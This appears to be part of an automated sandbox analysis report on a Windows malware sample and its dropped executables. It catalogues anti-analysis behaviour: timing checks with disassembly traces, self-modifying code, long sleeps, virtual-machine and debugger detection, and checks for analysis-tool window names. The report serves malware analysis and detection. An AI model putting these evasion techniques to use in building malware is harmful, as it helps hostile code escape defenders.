Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1054D12 second address: 1054D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007FF018B87186h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FF018B87186h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1054D29 second address: 1054D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1055296 second address: 105529C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10557C1 second address: 10557C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10557C5 second address: 10557CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10557CB second address: 10557D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10557D5 second address: 105585D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FF018B87188h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D24D4h], eax 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FF018B87188h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2745h], esi 0x0000004d push 00000000h 0x0000004f cld 0x00000050 jmp 00007FF018B8718Fh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FF018B87198h 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105847E second address: 1058498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1058498 second address: 105849E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105849E second address: 10584A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10591F4 second address: 10591FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105E94F second address: 105E95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF018BAC396h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105E95A second address: 105E95F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1063ADA second address: 1063AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1063AE0 second address: 1063AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1063AE4 second address: 1063AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1063B94 second address: 1063B9E instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 9CECF8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 9CEDB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: B6D477 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: B906B0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 9CED0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: BF6617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Special instruction interceptor: First address: 10DE621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Special instruction interceptor: First address: B236BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Special instruction interceptor: First address: B23AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Special instruction interceptor: First address: 98C252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Special instruction interceptor: First address: B36D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Special instruction interceptor: First address: BB73F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 3536BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 353AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 1BC252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 366D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 3E73F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: D8ECF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: D8EDB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: F2D477 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: F506B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: D8ED0D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Special instruction interceptor: First address: FB6617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Special instruction interceptor: First address: 5ADABB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Special instruction interceptor: First address: 5ADA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Special instruction interceptor: First address: 76AC27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Special instruction interceptor: First address: B6E621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Special instruction interceptor: First address: FB36BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Special instruction interceptor: First address: FB3AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Special instruction interceptor: First address: E1C252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Special instruction interceptor: First address: FC6D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Special instruction interceptor: First address: 10473F3 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Memory allocated: 4B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Memory allocated: 4CE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Memory allocated: 6CE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Memory allocated: 4930000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Memory allocated: 4B60000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Memory allocated: 49A0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Code function: 4_2_010268B3 rdtsc 4_2_010268B3
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 5689 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 2920 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Window / User API: threadDelayed 363
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 6172 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2596 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5016 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7096 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe TID: 6408 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348 Thread sleep count: 77 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348 Thread sleep time: -154077s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6376 Thread sleep count: 63 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6376 Thread sleep time: -126063s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168 Thread sleep count: 5689 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168 Thread sleep time: -11383689s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3668 Thread sleep count: 319 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3668 Thread sleep time: -9570000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5888 Thread sleep count: 71 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5888 Thread sleep time: -142071s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164 Thread sleep count: 70 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164 Thread sleep time: -140070s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192 Thread sleep count: 54 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192 Thread sleep time: -108054s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352 Thread sleep count: 71 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352 Thread sleep time: -142071s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6996 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168 Thread sleep count: 2920 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168 Thread sleep time: -5842920s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 1464 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 4112 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 1820 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 3896 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe TID: 7148 Thread sleep time: -108000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe TID: 3168 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 4856 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Thread delayed: delay time: 922337203685477
Source: CMI46CXL3718GGL9UBA.exe, CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmp, S39605Y99PQJP70DBWYAE5A.exe, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580333178.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2782085296.0000000000F0F000.00000040.00000001.01000000.0000000E.sdmp, b28f5af0b9.exe, 0000001D.00000002.2771147748.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2851415223.0000000000ABE000.00000040.00000001.01000000.00000018.sdmp, 5EQND7K5L8HE276L.exe, 00000020.00000002.2792896974.0000000000F93000.00000040.00000001.01000000.00000019.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP/
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli=4
Source: num.exe, 00000025.00000002.2832464579.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk>6
Source: firefox.exe, 0000001C.00000002.2748240954.00000206DF500000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ8
Source: file.exe, file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001093000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001064000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784386837.0000000001037000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68A0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001A.00000002.2751799520.00000295E04B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747391068.00000206DF414000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWi
Source: firefox.exe, 0000001A.00000002.2750483187.00000295D68A9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH5
Source: file.exe, 00000000.00000003.2002255387.0000000000845000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmp, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580333178.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2782085296.0000000000F0F000.00000040.00000001.01000000.0000000E.sdmp, b28f5af0b9.exe, 0000001D.00000002.2771147748.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2851415223.0000000000ABE000.00000040.00000001.01000000.00000018.sdmp, 5EQND7K5L8HE276L.exe, 00000020.00000002.2792896974.0000000000F93000.00000040.00000001.01000000.00000019.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareo
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFCA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW j
Source: firefox.exe, 0000001A.00000002.2750483187.00000295D68D6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2748240954.00000206DF500000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2978590179.000001B29D4F3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001093000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWhn
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFCA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWF,
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
